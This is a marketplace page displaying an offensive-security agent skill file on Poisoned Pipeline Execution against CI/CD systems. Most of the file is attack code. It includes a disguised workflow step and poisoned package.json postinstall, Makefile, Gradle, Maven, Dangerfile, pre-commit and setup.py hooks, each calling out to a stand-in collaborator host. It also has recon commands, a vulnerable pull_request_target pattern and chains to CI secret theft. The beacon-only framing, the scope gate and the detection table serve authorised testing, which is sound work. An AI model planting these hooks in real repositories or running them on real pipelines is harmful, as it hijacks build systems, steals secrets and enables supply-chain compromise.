Skip to main content

poisoned-pipeline-execution

Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.

الانتقال إلى التثبيت

معلومات المصدر

المستودع
BitterSecurity/Decepticon
آخر نشاط في المصدر
١ يونيو ٢٠٢٦ في ٢٣:٠٤
لغة SKILL.md المكتشفة
الإنجليزية
النجوم
٥٬٥٦٥
التفرعات
١٬٠٥٣

خيارات التثبيت

يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.

مراجعة ملفات المصدر

اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.

عرض SKILL.md

SKILL.md
تعليمات المصدر · معاينة للقراءة فقط
name
poisoned-pipeline-execution
description
Poisoned Pipeline Execution (PPE) — direct + indirect: inject commands via attacker-controllable build files (Makefile, package.json scripts, build.gradle, Dangerfile, .pre-commit-config.yaml), abuse pull_request_target / fork-PR triggers, and ride dependency / test-script execution on CI.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"ppe poisoned pipeline direct indirect ppe fork pr pull_request_target makefile package.json npm scripts gradle dangerfile pre-commit ci build script","tags":"ci-cd, ppe, pipeline, execution","mitre_attack":"T1195.002, T1199, T1059"}
# Poisoned Pipeline Execution (PPE) PPE = run attacker code inside the target's CI job by editing files the pipeline already executes. Two flavors (Palawan / CIDER taxonomy): - **Direct PPE (D-PPE)**: attacker edits the *pipeline config itself* (`.github/workflows/*.yml`, `.gitlab-ci.yml`, `Jenkinsfile`) in a PR/branch the CI runs. - **Indirect PPE (I-PPE)**: attacker edits a file the *pipeline calls* — build scripts (`Makefile`, `build.gradle`, `pom.xml`), package-manager scripts (`package.json` `scripts`, `setup.py`), lint/test hooks (`Dangerfile`, `.pre-commit-config.yaml`, `tox.ini`, `pyproject.toml` `[tool.poetry.scripts]`), or any file `make test` ends up sourcing. ## Recon — does the target build untrusted code? ```bash # 1. Workflow triggers that build PRs grep -rE '^\s*(pull_request|pull_request_target)\s*:' <REPO>/.github/workflows/ 2>/dev/null # 2. Does CI install + run scripts before any review gate? grep -rnE 'npm (ci|install|test|run)|yarn|pnpm|pip install|poetry install|make |gradle|mvn |tox' <REPO>/.github/workflows/ <REPO>/.gitlab-ci.yml 2>/dev/null # 3. Are forks allowed? (default: yes on public repos) gh api "repos/<OWNER>/<REPO>" --jq '{visibility,fork,allow_forking,default_branch}' # 4. Does a maintainer have to approve fork-PR workflow runs? (org/repo setting) gh api "repos/<OWNER>/<REPO>/actions/permissions" --jq '.allowed_actions,.enabled' 2>/dev/null # Default for public repos: first-time contributors require approval; returning contributors don't. ``` ## Direct PPE — edit the workflow itself ```yaml # Attacker branch: feature/innocent-typo-fix # .github/workflows/ci.yml — add a step that exfils env name: CI on: [push, pull_request] jobs: test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: "fix: tweak test runner" # blends in run: | # Beacon-only PoC — DO NOT exfil real secrets in research curl -sX POST "https://<COLLAB>/$(echo -n "$GITHUB_REPOSITORY" | base64)" \ -d "ref=$GITHUB_REF" ``` D-PPE works when the workflow runs on `pull_request` from forks **without** the "require approval" gate, or when the attacker has push access to a branch CI builds. ## Indirect PPE — edit a file the pipeline calls ### package.json scripts ```jsonc // PR diff — adds a postinstall that fires when CI runs `npm ci` { "scripts": { "test": "jest", "postinstall": "node -e \"require('dns').lookup(require('crypto').randomBytes(6).toString('hex')+'.<COLLAB>',()=>{})\"" } } ``` `npm ci` / `npm install` will execute `postinstall` by default. Same trick works with `preinstall`, `prepare`, `prepublish`. Yarn / pnpm honor the same hooks. ### Makefile / `make test` ```make # PR adds an indented line under the existing `test:` target test: pytest -q @curl -s "https://<COLLAB>/make-test-$$(hostname)" >/dev/null || true ``` ### Gradle / Maven ```groovy // build.gradle — runs at evaluation, before any task allprojects { doFirst { "curl -s https://<COLLAB>/gradle".execute() } } ``` ```xml <!-- pom.xml — exec-maven-plugin attached to validate phase --> <plugin> <groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId> <executions><execution><phase>validate</phase> <goals><goal>exec</goal></goals> <configuration><executable>curl</executable> <arguments><argument>-s</argument><argument>https://<COLLAB>/mvn</argument></arguments> </configuration> </execution></executions> </plugin> ``` ### Danger / pre-commit / lint hooks ```ruby # Dangerfile — runs on every PR in many JS/iOS pipelines `curl -s https://<COLLAB>/danger` ``` ```yaml # .pre-commit-config.yaml — points to attacker-controlled repo repos: - repo: https://github.com/<ATTACKER>/innocent-lint rev: main hooks: [{ id: lint }] ``` ### setup.py / pyproject.toml ```python # setup.py — runs at `pip install .` time from setuptools import setup import os; os.system("curl -s https://<COLLAB>/setuppy") setup(name="x", version="0.0.0") ``` ### Test fixtures `conftest.py`, `jest.setup.js`, `karma.conf.js`, `cypress/support/index.js`, `phpunit.xml` bootstrap files — all execute before the first test runs. ## `pull_request_target` — the dangerous trigger `pull_request_target` runs in the **base** repo context with secrets and a write `GITHUB_TOKEN`, but if the workflow then checks out the **PR head**, the attacker's code runs privileged: ```yaml # VULNERABLE — DO NOT WRITE THIS on: pull_request_target jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { ref: ${{ github.event.pull_request.head.sha }} } # <-- attacker code - run: npm ci && npm test # <-- runs attacker code with secrets in env ``` A fork PR adding an `postinstall` to `package.json` now runs with `secrets.*` available. ## Chains | Chain | Pivot | |---|---| | I-PPE in a build script -> `printenv` -> CI secret -> deploy creds | See `cicd-secrets-exfil/SKILL.md` | | D-PPE on protected branch via stale review approval | Push to PR after approval (use `dismiss_stale_reviews`-misconfigured repos) | | I-PPE on self-hosted runner | Persistence via cron / systemd; see `self-hosted-runner-abuse/SKILL.md` | | I-PPE -> push tag / publish package via `GITHUB_TOKEN` | Downstream supply-chain compromise | ## Tools | Tool | Use | |---|---| | `gato` / `gato-x` | Scans orgs for PPE-prone workflows, automates fork-PR PoC | | `actionlint` | Reverse-use: flags `pull_request_target` + PR-head checkout | | `octoscan`, `zizmor` | Static workflow analyzers | | `tj-actions/changed-files` CVE-2025-30066 | Real-world I-PPE-via-action precedent | ## Detection signatures (defender view) | Signal | Where | |---|---| | Edit to `.github/workflows/*` in a fork PR | GitHub UI flags "workflow file change" on first run; defenders watch for it | | New `postinstall` / `preinstall` / `prepare` in `package.json` diff | `git log -p package.json` | | New outbound network from CI runner during build | egress filtering on runner subnet | | `pull_request_target` + checkout of `head.sha` | static lint (`zizmor`, `octoscan`) | ## Decision gate 1. Confirm written scope covers CI/CD testing. 2. PoC payload = single DNS / HTTPS beacon, no real secret exfil. 3. Open the PR from a clearly-labeled `security-research-*` fork; close + delete after capture. 4. Never push to protected branches, never publish artifacts, never tag releases. ## References - "Top 10 CI/CD Security Risks" — Cider Security / OWASP (CICD-SEC-04 PPE) - Palawan / Cider PPE taxonomy - `tj-actions/changed-files` incident (Mar 2025) — supply-chain via reused action
عرض على GitHub